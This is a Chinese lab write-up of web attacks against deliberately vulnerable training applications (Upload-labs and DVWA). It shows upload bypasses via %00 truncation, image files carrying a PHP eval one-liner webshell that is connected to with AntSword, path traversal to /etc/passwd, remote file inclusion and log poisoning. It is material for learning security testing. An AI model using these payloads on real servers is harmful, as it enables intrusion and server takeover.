一、服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过
1.1在计算机编程里,很多编程语言会把 \0
(ASCII 码为 0)当作字符串的结束符。也就是说,当程序在处理字符串时,一旦碰到 \0
,就会认为字符串已经结束,不再处理后续的字符。在 URL 编码中,%00
代表的就是 \0
。
1.200截断通常用来绕过Web的白名单限制。Upload-labs(Pass-12)通过代码可以得知是一个白名单,只允许上传'jpg','png','gif'格式的文件,但是上传路径是可以控制的,可以使用%00进行截断。
1.3 %00截断绕过试验要求
a.在虚拟机搭建Upload-labs网站
b.php版本小于5.3.4
c.php.ini的magic_quotes_gpc为OFF状态
d.环境:Windows操作系统+phpstudy2018
1.4打开win10虚拟机把phpstudy2018和Upload-labs源码拷贝到虚拟机
1.5安装phpstudy2018,安装完后点击其它选项菜单打下网站根目录,把Upload-labs文件夹复到www文件夹
1.6点击切换版本PHP 5.2.17
1.7打开php.ini文件把magic_quotes_gpc改为OFF状态
1.8打开http://192.168.0.129/upload-labs/Pass-11/index.php?save_path=../upload/
上传Info.php,把Info.php改成info.jpg上传。
1.9上传成功后在虚拟机可以打开C:\phpStudy\PHPTutorial\WWW\upload-labs\upload 可以看到2.PHP
1.10 复制图片链接在网页访问如下
1.11 UPLOAD-LABS 11 PASS POST请求使用%00截断绕过
1.12选中%00解码URLCODE
1.13上传成功访问
二、文件头检查:分别利用2种制作图片马的方式实现上传绕过
2.1第一种制作图片马的方式上传绕过
准备一个JPG的图片和PHP文件, php文件内容:<?php phpinfo();?>,打开CMD命令行
输入copy /b 33.jpg + info.php 44.jpg 直接变成44.JPG
2.2上传44.JPG图片
2.3复制图片链接, 因Upload - labs 第 14 关存在文件包含漏洞,打片图片链接URL要增加nclude.php?file才能打开图片,如下URL图片链接,通网页的方式打开图片就看到如下图片码http://159.75.158.180:8081/include.php?file=upload/4020250505131731.jpg
2.4第二种制作图片马的方式上传绕过
2.5利用010 editor软件打开123.JPG图片,从图中可以看到在 123.jpg 文件的十六进制代码末尾处,添加了类似 PHP 一句话木马 <?php eval($_POST['a']);?> 的内容
2.6上传123.jpg图片
2.7 打开图片链接如下图片马并用蚁剑连接拿下服务器
http://159.75.158.180:8081/include.php?file=upload/5820250505135403.jpg
三、二次渲染绕过
3.1 二次渲染原理:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标
3.2 配合文件包含漏洞:将一句话木马插入图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。如下图
四、DVWA环境下去包含其他目录的任意3个文件,要求使用相对路径
4.1 /../../../../../../../../../ (输入多个../返回系统根目录),包含账户信息文件:/etc/passwd
如果不知道当前在哪一个目当输入可以多个../就要到网根目,一个../返修上一级,调到LOW低等级
4.2 /etc/group
4.3 /etc/hosts
五、远程文件包含
5.1使用包含漏洞包含 Upload-Labs 中的文件。
5.2在upload-labs PASS-01上传info.txt文件
5.3把upload-labs PASS-01上传info.txt文件路径复制到DVWA文件包含路径,实现远程文件包含如下图
六、中间件日志包含绕过,要求使用蚁剑连接成功
6.1DVWA中,apache2日志文件路径为: /var/log/apache2/access.log
包含日志文件,需要先对日志文件和目录添加权限,让Web端有权限去访问:
root@9e94e407a49c:/var/log# chmod 755 /var/log/apache2
root@9e94e407a49c:/var/log/apache2# chmod 644 access.log
6.2因浏览器会进行url编码,使用burp抓包进行修改,将编码字符改为原字符
http://159.75.158.180:8082/vulnerabilities/fi/?page=<?php phpinfo();?>
Login :: Damn Vulnerable Web Application (DVWA) v1.10 *Development*, PHPInfo插入成功
后端日志看到PHPINFO
6.3使用蚁剑连接返回数据为空(因为网站是登入的状态,所以还需要在连接时添加对应的cookie信息)
七、对比文件包含和目录遍历的区别
7.1从技术层面来看:文件包含漏洞是通过include、require、read等函数把文件读取到当前路径内并进行加载和解析,而目录遍历漏洞则是中间件配置不完善所引发的问题,一般不具备解析功能。
7.2从URL表现来看:文件包含中URL = 后面的内容通常是文件名,而目录遍历中URL = 后面的内容不一定是文件名,也有可能是目录。
7.3从内容表现来看:文件包含造成的信息泄漏,泄漏的信息是展示在HTML文件中,而目录遍历引发的泄漏可能是泄漏文件自身。
7.4从攻击效果来看:文件包含可以实现Getshell,目录遍历则是造成信息泄露。